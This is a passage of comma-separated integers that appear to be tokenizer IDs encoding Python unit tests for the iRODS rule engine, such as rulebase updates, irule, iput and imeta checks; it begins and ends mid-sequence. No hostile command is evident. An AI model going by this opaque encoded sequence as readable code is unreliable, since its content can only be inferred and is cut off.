462,
4706,
10191,
2433,
1429,
9637,
742,
13,
462,
4706,
2302,
29922,
29900,
29892,
13,
462,
4706,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
1688,
29889,
11027,
29889,
29911,
4590,
29949,
14480,
29979,
29918,
21482,
29918,
1525,
27839,
4741,
29918,
18603,
29892,
525,
15797,
666,
363,
20159,
6724,
515,
6503,
1923,
29901,
13623,
337,
1923,
1480,
1495,
13,
1678,
732,
348,
27958,
29889,
11014,
2525,
2222,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
3350,
6289,
29918,
7491,
29918,
11675,
742,
525,
21150,
7090,
2767,
448,
871,
22903,
363,
474,
5964,
29879,
29918,
7491,
29918,
11675,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
11255,
29918,
786,
15190,
1649,
29906,
29906,
29955,
29929,
29898,
1311,
1125,
13,
9651,
5172,
26276,
29918,
1688,
29918,
2154,
353,
2897,
29889,
2084,
29889,
7122,
11219,
1707,
742,
525,
1982,
742,
525,
3350,
6289,
742,
525,
16713,
742,
525,
7491,
3188,
29918,
11255,
26276,
29918,
1688,
29918,
29906,
29906,
29955,
29953,
29889,
845,
1495,
13,
9651,
364,
29883,
29892,
17117,
903,
353,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
13067,
742,
5172,
26276,
29918,
1688,
29918,
2154,
1402,
525,
1254,
3970,
2692,
29918,
29903,
4214,
1307,
18521,
742,
525,
7070,
1495,
13,
9651,
4974,
364,
29883,
1275,
29871,
29900,
13,
12,
13,
1678,
732,
348,
27958,
29889,
11014,
2525,
2222,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
3350,
6289,
29918,
7491,
29918,
11675,
742,
525,
21150,
7090,
2767,
448,
871,
22903,
363,
474,
5964,
29879,
29918,
7491,
29918,
11675,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
7491,
3188,
29918,
5504,
29918,
14037,
29918,
18829,
29898,
1311,
1125,
13,
4706,
590,
29918,
7491,
353,
5751,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
22322,
1688,
29918,
7491,
3188,
29918,
5504,
29918,
14037,
29918,
18829,
29918,
29896,
2033,
13,
4706,
5751,
29918,
1445,
353,
525,
1357,
29918,
7491,
29889,
29878,
29915,
13,
4706,
411,
1722,
29898,
7491,
29918,
1445,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
9651,
1596,
29898,
1357,
29918,
7491,
29892,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
4706,
1923,
29918,
2917,
29918,
9507,
353,
10898,
29889,
2974,
29918,
2917,
29918,
2084,
580,
13,
13,
4706,
396,
2254,
1923,
29918,
2917,
29889,
3126,
304,
11658,
263,
716,
5751,
2967,
13,
4706,
411,
1722,
29898,
2974,
29918,
2917,
29918,
9507,
29897,
408,
285,
29901,
13,
9651,
3731,
29878,
29918,
16859,
353,
4390,
29889,
1359,
29898,
29888,
29897,
13,
13,
4706,
396,
11658,
263,
716,
5751,
2967,
964,
278,
7531,
5751,
6012,
13,
4706,
3731,
29878,
29918,
16859,
1839,
8582,
29918,
13305,
16215,
7491,
29918,
996,
1475,
2033,
29961,
29900,
22322,
8582,
29918,
14940,
29918,
13305,
16215,
276,
29918,
7491,
3188,
29918,
842,
2033,
353,
6796,
1688,
613,
376,
3221,
3108,
13,
13,
4706,
396,
16766,
304,
263,
1347,
304,
1634,
1351,
278,
5923,
1923,
29918,
2917,
29889,
3126,
13,
4706,
716,
29918,
2974,
29918,
2917,
29922,
3126,
29889,
29881,
17204,
29898,
4501,
29878,
29918,
16859,
29892,
2656,
29918,
8149,
29922,
5574,
29892,
12860,
29922,
29946,
29892,
2903,
4097,
7607,
742,
742,
525,
29901,
525,
876,
13,
13,
4706,
411,
4303,
29889,
1445,
29918,
1627,
287,
29918,
786,
29898,
24772,
29889,
2974,
29918,
2917,
29918,
2084,
580,
1125,
13,
9651,
1243,
29918,
276,
353,
2897,
29889,
2084,
29889,
7122,
29898,
24772,
29889,
3221,
29918,
276,
29918,
12322,
3285,
525,
1688,
29889,
276,
1495,
13,
9651,
396,
2436,
716,
5751,
934,
304,
2295,
4516,
13,
9651,
411,
1722,
29898,
1688,
29918,
276,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
29898,
7491,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
22322,
1688,
29918,
7491,
3188,
29918,
5504,
29918,
14037,
29918,
18829,
29918,
29906,
7464,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
396,
1634,
1351,
278,
5923,
1923,
29918,
2917,
29889,
3126,
13,
9651,
411,
1722,
29898,
2974,
29918,
2917,
29918,
9507,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
18884,
285,
29889,
3539,
29898,
1482,
29918,
2974,
29918,
2917,
29897,
13,
13,
9651,
396,
1423,
3149,
1480,
304,
1073,
988,
304,
1106,
363,
278,
1347,
13,
9651,
2847,
29918,
1188,
29918,
2311,
353,
4303,
29889,
657,
29918,
1445,
29918,
2311,
29918,
1609,
29918,
2084,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3101,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
877,
381,
1297,
448,
29943,
525,
718,
5751,
29918,
1445,
29897,
13,
9651,
4303,
29889,
18829,
14697,
29898,
2892,
29901,
4303,
29889,
2798,
29918,
15693,
1038,
2063,
29918,
974,
29918,
1807,
29918,
262,
29918,
1188,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3285,
525,
18267,
29918,
20785,
29918,
4986,
29918,
29943,
22255,
29918,
29896,
29918,
6632,
2287,
18799,
742,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
13,
9651,
931,
29889,
17059,
29898,
29945,
29897,
396,
9801,
6623,
931,
338,
18430,
1422,
13,
13,
9651,
396,
1634,
1351,
5751,
411,
716,
1347,
13,
9651,
2897,
29889,
348,
2324,
29898,
1688,
29918,
276,
29897,
13,
9651,
411,
1722,
29898,
1688,
29918,
276,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
29898,
7491,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
22322,
1688,
29918,
7491,
3188,
29918,
5504,
29918,
14037,
29918,
18829,
29918,
29941,
7464,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
396,
1423,
3149,
1480,
304,
1073,
988,
304,
1106,
363,
278,
1347,
13,
9651,
2847,
29918,
1188,
29918,
2311,
353,
4303,
29889,
657,
29918,
1445,
29918,
2311,
29918,
1609,
29918,
2084,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3101,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
877,
381,
1297,
448,
29943,
525,
718,
5751,
29918,
1445,
29897,
13,
9651,
396,
2230,
29889,
17059,
29898,
29941,
29945,
29897,
29871,
396,
4480,
363,
1243,
304,
3974,
13,
9651,
4303,
29889,
18829,
14697,
29898,
2892,
29901,
4303,
29889,
2798,
29918,
15693,
1038,
2063,
29918,
974,
29918,
1807,
29918,
262,
29918,
1188,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3285,
525,
18267,
29918,
20785,
29918,
4986,
29918,
29943,
22255,
29918,
29906,
29918,
6632,
2287,
18799,
742,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
13,
4706,
396,
5941,
786,
13,
4706,
2897,
29889,
348,
2324,
29898,
1688,
29918,
276,
29897,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
29918,
1445,
29897,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
3644,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
4691,
742,
525,
11980,
5195,
29925,
947,
451,
18818,
2980,
2225,
20525,
1495,
13,
1678,
822,
1243,
29918,
23516,
29918,
4569,
20525,
1649,
29941,
29906,
29941,
29953,
29898,
1311,
1125,
13,
4706,
411,
5694,
1445,
29889,
22175,
5776,
1971,
653,
2283,
29898,
2146,
600,
861,
2433,
29889,
29878,
1495,
408,
285,
29901,
13,
13,
9651,
5751,
29918,
1807,
353,
5751,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
22322,
1688,
29918,
23516,
29918,
4569,
20525,
1649,
29941,
29906,
29941,
29953,
2033,
13,
9651,
285,
29889,
3539,
29898,
7491,
29918,
1807,
29897,
13,
9651,
285,
29889,
23126,
580,
13,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
877,
381,
1297,
448,
29943,
525,
718,
285,
29889,
978,
29892,
525,
1254,
3970,
2692,
29918,
29903,
4214,
1307,
18521,
742,
525,
5098,
4945,
1852,
29896,
29922,
10736,
1852,
29906,
29922,
1753,
1852,
29941,
29922,
29887,
2918,
1495,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
2525,
2222,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
3350,
6289,
29918,
7491,
29918,
11675,
742,
525,
15797,
666,
363,
1661,
29899,
7491,
29899,
11675,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
7491,
3188,
29918,
5504,
29918,
1039,
29312,
29918,
17823,
29918,
305,
1503,
1649,
29941,
29945,
29953,
29900,
29898,
1311,
1125,
13,
4706,
474,
5964,
29879,
29918,
2917,
353,
306,
5964,
29879,
3991,
580,
13,
13,
4706,
1923,
29918,
2917,
29918,
9507,
353,
474,
5964,
29879,
29918,
2917,
29889,
2974,
29918,
2917,
29918,
2084,
13,
13,
4706,
396,
2254,
1923,
29918,
2917,
29889,
3126,
304,
11658,
263,
716,
5751,
2967,
13,
4706,
411,
1722,
29898,
2974,
29918,
2917,
29918,
9507,
29897,
408,
285,
29901,
13,
9651,
3731,
29878,
29918,
16859,
353,
4390,
29889,
1359,
29898,
29888,
29897,
13,
13,
4706,
396,
11658,
3196,
716,
6865,
964,
278,
7531,
5751,
6012,
13,
4706,
3731,
29878,
29918,
16859,
1839,
8582,
29918,
13305,
16215,
7491,
29918,
996,
1475,
2033,
29961,
29900,
22322,
8582,
29918,
14940,
29918,
13305,
16215,
276,
29918,
7491,
3188,
29918,
842,
2033,
353,
518,
13,
9651,
376,
7491,
1445,
29896,
613,
376,
7491,
1445,
29906,
613,
376,
7491,
1445,
29941,
613,
376,
7491,
1445,
29946,
613,
376,
7491,
1445,
29945,
613,
376,
7491,
1445,
29953,
613,
376,
7491,
1445,
29955,
3284,
7491,
1445,
29947,
613,
376,
3221,
3108,
13,
13,
4706,
396,
16766,
304,
263,
1347,
304,
1634,
1351,
278,
5923,
1923,
29918,
2917,
29889,
3126,
13,
4706,
716,
29918,
2974,
29918,
2917,
353,
4390,
29889,
29881,
17204,
29898,
4501,
29878,
29918,
16859,
29892,
2656,
29918,
8149,
29922,
5574,
29892,
29536,
29922,
29946,
29892,
2903,
4097,
7607,
742,
742,
525,
29901,
525,
876,
13,
13,
4706,
411,
4303,
29889,
1445,
29918,
1627,
287,
29918,
786,
29898,
3350,
6289,
29918,
2917,
29889,
2974,
29918,
2917,
29918,
2084,
1125,
13,
9651,
5751,
1445,
29896,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3350,
6289,
29918,
2917,
29889,
3221,
29918,
276,
29918,
12322,
29892,
525,
7491,
1445,
29896,
29889,
276,
1495,
13,
9651,
5751,
1445,
29906,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3350,
6289,
29918,
2917,
29889,
3221,
29918,
276,
29918,
12322,
29892,
525,
7491,
1445,
29906,
29889,
276,
1495,
13,
9651,
5751,
1445,
29941,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3350,
6289,
29918,
2917,
29889,
3221,
29918,
276,
29918,
12322,
29892,
525,
7491,
1445,
29941,
29889,
276,
1495,
13,
9651,
5751,
1445,
29946,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3350,
6289,
29918,
2917,
29889,
3221,
29918,
276,
29918,
12322,
29892,
525,
7491,
1445,
29946,
29889,
276,
1495,
13,
9651,
5751,
1445,
29945,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3350,
6289,
29918,
2917,
29889,
3221,
29918,
276,
29918,
12322,
29892,
525,
7491,
1445,
29945,
29889,
276,
1495,
13,
9651,
5751,
1445,
29953,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3350,
6289,
29918,
2917,
29889,
3221,
29918,
276,
29918,
12322,
29892,
525,
7491,
1445,
29953,
29889,
276,
1495,
13,
9651,
5751,
1445,
29955,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3350,
6289,
29918,
2917,
29889,
3221,
29918,
276,
29918,
12322,
29892,
525,
7491,
1445,
29955,
29889,
276,
1495,
13,
9651,
5751,
1445,
29947,
353,
2897,
29889,
2084,
29889,
7122,
29898,
3350,
6289,
29918,
2917,
29889,
3221,
29918,
276,
29918,
12322,
29892,
525,
7491,
1445,
29947,
29889,
276,
1495,
13,
13,
9651,
396,
2436,
716,
5751,
2066,
304,
2295,
4516,
13,
9651,
411,
1722,
29898,
7491,
1445,
29896,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
877,
29881,
11770,
10740,
29912,
500,
742,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
411,
1722,
29898,
7491,
1445,
29906,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
877,
29881,
11770,
10740,
29912,
500,
742,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
411,
1722,
29898,
7491,
1445,
29941,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
877,
29881,
11770,
10740,
29912,
500,
742,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
411,
1722,
29898,
7491,
1445,
29946,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
877,
29881,
11770,
10740,
29912,
500,
742,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
411,
1722,
29898,
7491,
1445,
29945,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
877,
29881,
11770,
10740,
29912,
500,
742,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
411,
1722,
29898,
7491,
1445,
29953,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
877,
29881,
11770,
10740,
29912,
500,
742,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
411,
1722,
29898,
7491,
1445,
29955,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
877,
29881,
11770,
10740,
29912,
500,
742,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
411,
1722,
29898,
7491,
1445,
29947,
29892,
525,
14554,
1495,
408,
285,
29901,
13,
18884,
1596,
877,
562,
6747,
27893,
2831,
22908,
29912,
2436,
3542,
29898,
376,
2974,
3403,
613,
376,
18267,
29918,
20785,
29918,
4986,
29918,
29943,
22255,
29918,
24405,
13845,
29918,
29941,
29945,
29953,
29900,
29908,
3482,
500,
742,
934,
29922,
29888,
29892,
1095,
2433,
1495,
13,
13,
9651,
396,
1634,
1351,
278,
5923,
1923,
29918,
2917,
29889,
3126,
13,
9651,
411,
1722,
29898,
2974,
29918,
2917,
29918,
9507,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
18884,
285,
29889,
3539,
29898,
1482,
29918,
2974,
29918,
2917,
29897,
13,
13,
9651,
306,
5964,
29879,
2956,
2141,
5060,
442,
580,
13,
9651,
396,
1423,
3149,
1480,
304,
1073,
988,
304,
1106,
363,
278,
1347,
13,
9651,
2847,
29918,
1188,
29918,
2311,
353,
4303,
29889,
657,
29918,
1445,
29918,
2311,
29918,
1609,
29918,
2084,
29898,
3350,
6289,
29918,
2917,
29889,
2974,
29918,
1188,
29918,
2084,
29897,
13,
13,
9651,
10422,
353,
376,
1753,
522,
29941,
29945,
29953,
29900,
29889,
3945,
29908,
13,
9651,
934,
2084,
353,
4303,
29889,
3258,
29918,
2997,
29918,
1688,
1445,
29898,
9507,
29897,
13,
9651,
1925,
29918,
10314,
353,
1583,
29889,
1688,
690,
29883,
13,
9651,
1583,
29889,
1792,
29900,
29889,
9294,
29918,
293,
3011,
392,
703,
29875,
649,
448,
29934,
426,
649,
29918,
10314,
29913,
426,
9507,
29913,
1642,
4830,
29898,
1068,
2997,
29879,
25739,
376,
29923,
3580,
15631,
1159,
13,
13,
9651,
4303,
29889,
18829,
14697,
29898,
2892,
29901,
4303,
29889,
2798,
29918,
15693,
1038,
2063,
29918,
974,
29918,
1807,
29918,
262,
29918,
1188,
29898,
3350,
6289,
29918,
2917,
29889,
2974,
29918,
1188,
29918,
2084,
29892,
13,
462,
462,
462,
3986,
376,
18267,
29918,
20785,
29918,
4986,
29918,
29943,
22255,
29918,
24405,
13845,
29918,
29941,
29945,
29953,
29900,
613,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
13,
4706,
396,
5941,
786,
13,
4706,
306,
5964,
29879,
2956,
2141,
5060,
442,
580,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
1445,
29896,
29897,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
1445,
29906,
29897,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
1445,
29941,
29897,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
1445,
29946,
29897,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
1445,
29945,
29897,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
1445,
29953,
29897,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
1445,
29955,
29897,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
1445,
29947,
29897,
13,
29871,
13,
1678,
732,
348,
27958,
29889,
11014,
2525,
2222,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
3350,
6289,
29918,
7491,
29918,
11675,
742,
525,
6194,
22903,
363,
474,
5964,
29879,
29918,
7491,
29918,
11675,
5195,
29925,
1495,
13,
1678,
822,
1243,
29918,
562,
6572,
27893,
2831,
5379,
23651,
1649,
29941,
29947,
29953,
29955,
29898,
1311,
1125,
13,
4706,
411,
13201,
29918,
3221,
29918,
1445,
580,
408,
7136,
29901,
13,
9651,
7136,
29889,
1202,
29918,
7491,
877,
562,
6572,
27893,
2831,
5379,
23651,
10456,
9006,
29892,
334,
5085,
29892,
334,
10030,
29892,
334,
29882,
524,
2597,
2436,
3542,
703,
2974,
3403,
613,
376,
18267,
29918,
1529,
29934,
29968,
1001,
29918,
1688,
29918,
562,
6572,
27893,
2831,
5379,
23651,
1649,
29941,
29947,
29953,
29955,
1159,
29913,
1495,
13,
13,
9651,
5751,
29918,
1445,
353,
525,
1688,
29918,
562,
6572,
27893,
2831,
5379,
23651,
1649,
29941,
29947,
29953,
29955,
29889,
29878,
29915,
13,
9651,
5751,
29918,
1807,
353,
14550,
13,
1688,
29918,
562,
6572,
27893,
2831,
5379,
23651,
1649,
29941,
29947,
29953,
29955,
29918,
7491,
426,
13,
1678,
286,
1039,
5379,
23651,
877,
12199,
742,
15516,
15516,
15516,
15516,
334,
449,
29897,
13,
29913,
13,
13,
1177,
12336,
1870,
13,
12015,
12336,
5751,
5379,
3744,
13,
12008,
13,
9651,
411,
1722,
29898,
7491,
29918,
1445,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
18884,
285,
29889,
3539,
29898,
7491,
29918,
1807,
29897,
13,
13,
9651,
2847,
29918,
1188,
29918,
2311,
353,
4303,
29889,
657,
29918,
1445,
29918,
2311,
29918,
1609,
29918,
2084,
29898,
24772,
29889,
2974,
29918,
1188,
29918,
2084,
3101,
13,
9651,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
877,
381,
1297,
448,
29943,
525,
718,
5751,
29918,
1445,
29897,
13,
9651,
2897,
29889,
348,
2324,
29898,
7491,
29918,
1445,
29897,
13,
13,
9651,
4303,
29889,
18829,
14697,
29898,
13,
18884,
14013,
29901,
4303,
29889,
1188,
29918,
4906,
29918,
15693,
1038,
2063,
29918,
10954,
29918,
2798,
29898,
13,
462,
1678,
10191,
2433,
18267,
29918,
1529,
29934,
29968,
1001,
29918,
1688,
29918,
562,
6572,
27893,
2831,
5379,
23651,
1649,
29941,
29947,
29953,
29955,
742,
13,
462,
1678,
1369,
29918,
2248,
29922,
11228,
29918,
1188,
29918,
2311,
876,
13,
13,
1678,
732,
348,
27958,
29889,
11014,
2525,
2222,
29898,
8582,
29918,
978,
1275,
525,
3350,
6289,
29918,
7491,
29918,
10599,
29918,
8582,
29899,
3350,
6289,
29918,
7491,
29918,
11675,
742,
525,
6194,
1065,
363,
7531,
5751,
4086,
1495,
13,
1678,
822,
1243,
29918,
3258,
29918,
5358,
1649,
15118,
29918,
29945,
29900,
29896,
29947,
29898,
1311,
1125,
13,
4706,
4128,
353,
6571,
13,
4706,
16667,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
6406,
29889,
7924,
29918,
10855,
29892,
525,
1688,
29918,
3258,
29918,
5358,
1649,
15118,
29918,
29945,
29900,
29896,
29947,
1495,
13,
4706,
4128,
1839,
1188,
936,
29918,
2084,
2033,
353,
16667,
29918,
2084,
13,
4706,
5751,
29918,
1445,
353,
2897,
29889,
2084,
29889,
7122,
29898,
1311,
29889,
6406,
29889,
2997,
29918,
7924,
29918,
3972,
29892,
525,
1688,
29918,
3258,
29918,
5358,
1649,
15118,
29918,
29945,
29900,
29896,
29947,
29889,
29878,
1495,
13,
4706,
5751,
29918,
1807,
353,
5751,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
3816,
1144,
1103,
29889,
3784,
2557,
2141,
29888,
29918,
401,
29889,
1111,
29918,
978,
1822,
4830,
29898,
1068,
16744,
29897,
13,
4706,
411,
1722,
29898,
7491,
29918,
1445,
29892,
525,
29893,
1495,
408,
285,
29901,
13,
9651,
285,
29889,
3539,
29898,
7491,
29918,
1807,
29897,
13,
13,
4706,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
381,
1297,
742,
17411,
29943,
742,
5751,
29918,
1445,
1402,
525,
1254,
3970,
2692,
742,
525,
11600,
15974,
6525,
4286,
4830,
29898,
1188,
936,
29918,
2084,
876,
13,
4706,
2897,
29889,
348,
2324,
29898,
7491,
29918,
1445,
29897,
13,
13,
4706,
1583,
29889,
6406,
29889,
9294,
29918,
293,
3011,
392,
18959,
29875,
6406,
742,
525,
3137,
742,
525,
1188,
936,
29918,
2084,
742,
16667,
29918,
2084,
29892,
525,
3445,
10123,
29918,
4537,
742,
525,
29900,
7464,
525,
1254,
3970,
2692,
742,
525,
14573,
29918,
1525,
7390,
29918,
27047,
29901,
29871,
29896,
1495,
13,
13,
13,
29992,
348,
27958,
29889,
11014,
3644,
29898,
1688,
29889,
11027,
29889,
29911,
4590,
29949,
14480,
29979,
29918,
21482,
29918,
1525,
27839,
4741,
29918,
18603,
29892,
525,
15797,
666,
363,
20159,
6724,
515,
6503,
1923,
29901,
13623,
696,
6289,
1923,
1480,
1495,
13,
1990,
4321,
29918,
6848,
29918,
7317,
29918,
29963,
1503,
1649,
29941,
29900,
29906,
29946,
29898,
6848,
5160,
29892,
443,
27958,
29889,
3057,
8259,
1125,
13,
1678,
7079,
29918,
978,
353,
306,
5964,
29879,
3991,
2141,
4381,
29918,
7491,
29918,
10599,
29918,
8582,
13,
1678,
770,
29918,
978,
353,
525,
3057,
29918,
6848,
29918,
7317,
29918,
29963,
1503,
1649,
29941,
29900,
29906,
29946,
29915,
13,
13,
1678,
822,
731,
3373,
29898,
1311,
1125,
13,
4706,
2428,
29898,
3057,
29918,
6848,
29918,
7317,
29918,
29963,
1503,
1649,
29941,
29900,
29906,
29946,
29892,
1583,
467,
842,
3373,
580,
13,
13,
4706,
396,
679,
349,
15488,
1024,
13,
4706,
1583,
29889,
412,
29886,
29918,
978,
353,
1583,
3032,
1688,
4062,
1170,
29889,
5451,
877,
29918,
29861,
29896,
29962,
13,
13,
4706,
396,
1207,
2919,
1243,
934,
13,
4706,
1583,
29889,
16961,
29918,
1445,
353,
8207,
7050,
29914,
16961,
1445,
29915,
13,
4706,
4303,
29889,
5675,
29918,
1445,
29898,
1311,
29889,
16961,
29918,
1445,
29892,
525,
29953,
29946,
29924,
742,
525,
279,
8844,
653,
1495,
13,
13,
1678,
822,
734,
279,
6767,
29898,
1311,
1125,
13,
4706,
628,
1583,
29889,
412,
29886,
29918,
978,
13,
13,
4706,
396,
3349,
2919,
1243,
934,
13,
4706,
2897,
29889,
348,
2324,
29898,
1311,
29889,
16961,
29918,
1445,
29897,
13,
13,
4706,
2428,
29898,
3057,
29918,
6848,
29918,
7317,
29918,
29963,
1503,
1649,
29941,
29900,
29906,
29946,
29892,
1583,
467,
371,
279,
6767,
580,
13,
13,
1678,
822,
1243,
29918,
562,
6747,
27893,
2831,
22908,
29898,
1311,
1125,
13,
4706,
1583,
29889,
412,
29886,
29918,
1688,
29918,
20907,
29898,
26381,
29922,
1839,
29875,
649,
448,
29888,
426,
1688,
1445,
29913,
11287,
13,
13,
1678,
822,
1243,
29918,
562,
2697,
8009,
4899,
29879,
29898,
1311,
1125,
13,
4706,
5751,
29918,
2587,
353,
5751,
29918,
726,
29879,
29961,
1311,
29889,
8582,
29918,
978,
3816,
1311,
29889,
1990,
29918,
978,
22322,
1688,
29918,
562,
2697,
8009,
4899,
29879,
2033,
13,
4706,
1583,
29889,
412,
29886,
29918,
1688,
29918,
20907,
29898,
26381,
29922,
1839,
29875,
649,
448,
29888,
426,
16961,
29918,
1445,
29913,
7464,
5751,
29918,
2587,
29922,
7491,
29918,
2587,
29897,
13,
13,
1678,
822,
1243,
29918,
562,
1469,
12498,
15644,
29898,
1311,
1125,
13,
4706,
1583,
29889,
412,
29886,
29918,
1688,
29918,
20907,
29898,
1457,
26381,
29922,
1839,
29875,
649,
448,
29888,
426,
1688,
1445,
29913,
7464,
8260,
29922,
1839,
3568,
448,
29888,
426,
1688,
1445,
29913,
11287,
13,
13,
1678,
822,
1243,
29918,
562,
6747,
27893,
2831,
12498,
29898,
1311,
1125,
13,
4706,
1583,
29889,
412,
29886,
29918,
1688,
29918,
20907,
29898,
1457,
26381,
29922,
1839,
29875,
649,
448,
29888,
426,
1688,
1445,
29913,
7464,
8260,
29922,
1839,
3568,
448,
29888,
426,
1688,
1445,
29913,
11287,
13,
13,
1678,
822,
1243,
29918,
562,
2697,
1451,
29895,
2283,
2605,
15737,
29898,
1311,
1125,
13,
4706,
396,
4943,
1404,
674,
1018,
304,
6036,
263,
1788,
934,
13,
4706,
396,
321,
29889,
29887,
29901,
847,
1707,
29914,
1982,
29914,
3350,
6289,
29914,
16358,
29889,
3126,
13,
4706,
2224,
29918,
517,
29918,
9573,
353,
10898,
29889,
3259,
29918,
2084,
580,
13,
4706,
8260,
353,
518,
877,
533,
29887,
426,
2084,
29918,
517,
29918,
9573,
29913,
8620,
5182,
29918,
5415,
930,
4286,
4830,
29898,
1068,
2997,
29879,
25739,
525,
1254,
8032,
29934,
29918,
29903,
4214,
1307,
18521,
742,
525,
10145,
29918,
18166,
29918,
12256,
29918,
1964,
27998,
3352,
1495,
29962,
13,
4706,
1583,
29889,
412,
29886,
29918,
1688,
29918,
20907,
29898,
26381,
29922,
26381,
29892,
3646,
29918,
978,
29922,
359,
29889,
2084,
29889,
6500,
3871,
29898,
2084,
29918,
517,
29918,
9573,
876,
13,
13,
1678,
822,
1243,
29918,
562,
6747,
27893,
2831,
2283,
2605,
4597,
29898,
1311,
1125,
13,
4706,
396,
4113,
1404,
674,
6036,
263,
934,
13,
4706,
27937,
29922,
1311,
29889,
6406,
13,
13,
4706,
396,
1207,
716,
9128,
934,
297,
1404,
29915,
29879,
325,
1292,
13,
4706,
1072,
29918,
1445,
29918,
2084,
353,
2897,
29889,
2084,
29889,
7122,
29898,
29879,
404,
29889,
657,
29918,
29894,
1292,
29918,
7924,
29918,
2084,
3285,
525,
1727,
29918,
1688,
29918,
1445,
1495,
13,
4706,
4303,
29889,
5675,
29918,
3972,
29918,
29886,
29898,
359,
29889,
2084,
29889,
25721,
29898,
1727,
29918,
1445,
29918,
2084,
876,
13,
4706,
4303,
29889,
16747,
29898,
1727,
29918,
1445,
29918,
2084,
29897,
13,
13,
4706,
8260,
353,
6024,
533,
29887,
426,
1727,
29918,
1445,
29918,
2084,
29913,
8620,
5182,
29918,
5415,
930,
4286,
4830,
29898,
1068,
2997,
29879,
3101,
29962,
13,
4706,
1583,
29889,
412,
29886,
29918,
1688,
29918,
20907,
29898,
26381,
29922,
26381,
29892,
3646,
29918,
978,
29922,
359,
29889,
2084,
29889,
6500,
3871,
29898,
1727,
29918,
1445,
29918,
2084,
511,
1404,
29918,
7924,
29922,
29879,
404,
29897,
13,
13,
1678,
822,
1243,
29918,
562,
6747,
27893,
2831,
11882,
29898,
1311,
1125,
13,
4706,
1583,
29889,
412,
